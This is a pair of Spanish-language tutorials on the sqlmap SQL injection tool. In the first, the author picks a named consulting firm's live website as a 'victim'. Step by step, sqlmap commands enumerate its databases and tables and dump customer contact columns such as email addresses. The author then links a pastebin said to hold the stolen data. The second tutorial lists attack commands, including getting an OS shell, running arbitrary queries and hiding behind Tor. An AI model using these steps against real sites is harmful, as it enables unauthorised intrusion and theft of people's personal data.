qlmap - Herramienta automática para inyección SQL
¿Qué es Sqlmap?
Sqlmap es una herramienta desarrollada en el lenguaje python y es muy util para hacer
inyeccciones sql automatizados.
Su objetivo es detectar y aprovechar las vulnerabilidades de inyección SQL en aplicaciones
web. Una vez que se ha detectado una variable del host de destino en la que se puede hacer
inyecciones SQL, el usuario puede dar uso del Sqlmap que te va a permitir al usuario poder
elegir entre una variedad de opciones como por ejemplo:
Enumerar bases de datos
Enumerar las tablas y columnas de una base de datos.
Enumerar los usuarios con su respectiva contraseña.
Descifrar los hashes de contraseñas .
Leer archivos especificos del sistema de archivo de un host espeficico y mucha mas
cosas.
Caracteristicas
Soporte completo para MySQL, Oracle, PostgreSQL, Microsoft SQL Server,
Microsoft Access, DB2 de IBM, SQLite, Firebird, Sybase y SAP MaxDB base de
datos de los sistemas de gestión.
Soporte completo para seis técnicas de inyección SQL: booleano basado ciegos,
ciegos basado en el tiempo, basado en errores, consulta UNION, las consultas
apilados y fuera de banda.
Apoya para conectarse directamente a la base de datos sin tener que pasar a través
de una inyección SQL, proporcionando credenciales del DBMS, dirección IP, el
puerto y el nombre de base de datos.
Apoya a la escalada de procesos de base de datos en privilegios de usuario a través
de Metasploit.
Apoya a descargar y cargar cualquier archivo del sistema de archivos subyacente
servidor de base de datos cuando el software de base de datos MySQL, PostgreSQL
o Microsoft SQL Server.
Bueno creo que con esta referencia es suficiente , ahora es el momento de la practica. En
esta ocasion voy a utilizar el Sqlmap que viene ya instalado en el Backtrack5R3. Pues
comenzemos...=)
Abrimos una terminal y digitamos lo siguiente.
~# cd Desktop
~# cd /pentest/database/sqlmap
~# python sqlmap.py
Otra forma de abrirlo seria:
De esta forma vamos a poder observar los diversos comandos que nos ofrece Sqlmap.
Por falta de tiempo solo voy a poder explicar los comandos básicos del Sqlmap, los demas
se los dejo a ustedes..xD.
Ahora necesitamos una victima(web con vulnerabilidad Sql).....mmmmm...xD
Pues la elegida va ser :
Hesley Consulting ofrece una gestión completa infraestructura, paquetes todo incluido
apoyo a las grandes y pequeñas empresas.
Chesley Consulting se esfuerza constantemente por la excelencia, tanto en lo tecnológico y
ámbitos de atención al cliente. Mediante el seguimiento de las tendencias de la industria
informática y los nuevos desarrollos de TI, somos capaces de mantenerse al día con los
últimos avances en tecnologías y brindarle un servicio superior. Y, a través del desarrollo
de largo plazo con los clientes, somos capaces de crear relaciones de beneficio mutuo que
se centran en un servicio continuo y de calidad para apoyar sus metas a largo plazo.
El bug se encuentra aqui :
http://www.chesleyconsulting.com/faq/faq.php?faq_id=15
Al parecer la variable id no ha sido correctamente validada.
Ahora ingresamos nuestro objetivo al Sqlmap.
Vamos a pedir que nos muestre las bases de datos de dicha web.
-u ===> señala el nuestro objetivo
--dbs ===> pedimos que nos muestra las base de datos.
~# python sqlmap.py -u http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 --
dbs
avaible databases [2]
[*] chesley_pommo
[*] information_schema
Ahora vamos a pedir el numero de tablas que tiene la base de datos chesley_pompmo.
-D ====> señalamos el nombre de la base de datos.
--tables ====> pedimos el número de tablas.
~# python sqlmap.py -u http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D
chesley_pommo --tables
Algunas de las tablas son:
pommo_templates
pommo_updates
states
static_pages
tbl_x_contact_basic
Ahora vamos a pedir que nos muestre las columnas de la tabla tbl_x_contact_basic.
-T ===> señalamos el nombre de la tabla.
--columns ===> pedimos el numero de columnas.
~# python sqlmap.py -u http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D
chesley_pommo -T tbl_x_contact_basic --columns
Algunas de las columnas de la tabla tbl_x_contact_basic van a ser :
email_address
email_city
email_fname
email_lname
email_phone
Ahora vamos a pedir que nos muestre la data de las columna email_address.
-C ===> señalamos el nombre de la columna.
--dump ===> pedimos la que nos muestre la data de la columna.
~# python sqlmap.py -u http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D
chesley_pommo -T tbl_x_contact_basic -C email_address --dump
Si queremos pedir la data de varias columnas a la vez , como por ejemplo de las columnas
email_address,email_city, el codigo sera asi:
~# python sqlmap.py -u http://www.chesleyconsulting.com/faq/faq.php?faq_id=15 -D
chesley_pommo -T tbl_x_contact_basic -C 'email_address,email_city' --dump
Para terminar bien, hay que terminar de extraer la base de datos de esta web de seguridad
informática o eso parece..=)
http://pastebin.com/GQMAaUN4
Bueno creo que ya llegamos al final del post.........=)
Para los que desean usar esta herramienta en windows tienen que descargarse el paquete de
python y activarlo , asi podra correr libremente el Sqlmap. =) Bueno me despido y sera
hasta la próxima...Nos vemos...=)
SQLMap – Herramienta Automática de
Inyección SQL
sqlmap es una herramienta desarrollada en python para realizar inyección de código sql
automáticamente. Su objetivo es detectar y aprovechar las vulnerabilidades de inyección
SQL en aplicaciones web. Una vez que se detecta una o más inyecciones SQL en el host de
destino, el usuario puede elegir entre una variedad de opciones entre ellas, enumerar los
usuarios, los hashes de contraseñas, los privilegios, las bases de datos , O todo el volcado
de tablas / columnas específicas del DBMS , ejecutar su propio SQL SELECT, leer
archivos específicos en el sistema de archivos y mucho más.
Características
Soporte completo para MySQL, Oracle, PostgreSQL y Microsoft SQL. Además de
estos cuatro sistemas de gestión de bases de datos, sqlMap también puede
identificar Microsoft Access, DB2, Informix, Sybase y Interbase.
Amplia base de datos de sistema de gestión de huellas dactilares basadas en inband
error messages, analizar el banner, las funciones de salida de comparación y
características específicas tales como MySQL comment injection. También es
posible forzar a la base de datos de sistema de gestión de nombre si ya lo saben.
Soporte completo para 2 técnicas de SQL injection: blind SQL injection y inband
SQL injection.
Aqui podemos ver la herramienta en ejecución enumerando la versión utilizada del
MySQL:
# ./sqlmap.py -u "http://XXXXXXXXXXX/detail.php?code=XXXXX" -b
sqlmap coded by Bernardo Damele A. G. <[email protected]>
and Daniele Bellucci <[email protected]>
[*] starting at: 21:58:00
[21:58:01] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
back-end DBMS: MySQL >= 5.0.0
banner: '5.0.51b-community'
[*] shutting down at: 21:58:07
Listar bases de datos
sqlmap --dbms=mysql -u "DIRECCIONURL" --dbs
Listar tablas
sqlmap --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --tables
Dumpear la información de tabla
sqlmap --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" -T "TABLAS" --dump
Definir el parametro a explotar
sqlmap --dbms=mysql -u
"http://XXXXXXXXXXX/detail.php?code=value1¶m2=value2" --dbs -p param2
Si la url tiene URI´s bonitas
sqlmap --dbms=mysql -u
"http://XXXXXXXXXXX/detail/code/value1*/param2/value2" --dbs
Conseguir shell del sistema (si es viable)
sqlmap --dbms=mysql -u "DIRECCIONURL" --os-shell
Conseguir shell de SQL
sqlmap --dbms=mysql -u "DIRECCIONURL" --sql-shell
Ejecutar consultas directametne
sqlmap --dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --sql-query
"SELECT * FROM TABLAS;"
Utilizar tor para las peticiones
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "DIRECCIONURL"
--dbs